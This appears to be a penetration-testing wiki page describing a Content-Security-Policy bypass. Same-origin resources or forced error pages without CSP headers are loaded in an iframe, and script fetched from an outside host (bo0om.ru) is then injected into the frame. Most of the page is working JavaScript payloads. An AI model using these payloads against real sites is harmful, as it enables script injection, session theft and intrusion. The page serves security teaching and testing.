64 lines
2.2 KiB
Markdown
64 lines
2.2 KiB
Markdown
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# CSP bypass: self + 'unsafe-inline' with Iframes
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A configuration such as:
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```
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Content-Security-Policy: default-src ‘self’ ‘unsafe-inline’;
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```
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Prohibits usage of any functions that execute code transmitted as a string. For example: `eval, setTimeout, setInterval` will all be blocked because of the setting `unsafe-eval`
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Any content from external sources is also blocked, including images, css, websockets, and, especially, JS
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### Via text & images
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Modern browsers transform images and texts o HTML files to visualize them better (set background, center...).
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Therefore, if you **open an image or txt file** such as **favicon.ico** or **robots.txt** with an **`iframe`**, you will open it as HTML.
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**These kind of pages usually doesn't have CSP headers and might not have X-Frame-Options**, so you can execute arbitrary JS from them:
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```javascript
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frame=document.createElement("iframe");
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frame.src="/css/bootstrap.min.css";
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document.body.appendChild(frame);
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script=document.createElement('script');
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script.src='//bo0om.ru/csp.js';
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window.frames[0].document.head.appendChild(script);
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```
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### Via Errors
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Same as text files or images, **error responses usually doesn't have CSP headers and might not have X-Frame-Options**. So, you can force errors and load them inside an iframe:
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```javascript
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// Force nginx error
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frame=document.createElement("iframe");
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frame.src="/%2e%2e%2f";
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document.body.appendChild(frame);
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// Force error via long URL
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frame=document.createElement("iframe");
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frame.src="/"+"A".repeat(20000);
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document.body.appendChild(frame);
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// Force error via long cookies
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for(var i=0;i<5;i++){document.cookie=i+"="+"a".repeat(4000)};
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frame=document.createElement("iframe");
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frame.src="/";
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document.body.appendChild(frame);
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// Don't forget to remove them
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for(var i=0;i<5;i++){document.cookie=i+"="}
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```
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```javascript
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// After any of the previous examples, you can execute JS in the iframe wih something like:
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script=document.createElement('script');
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script.src='//bo0om.ru/csp.js';
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window.frames[0].document.head.appendChild(script);
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```
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### References
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* [https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/](https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/)
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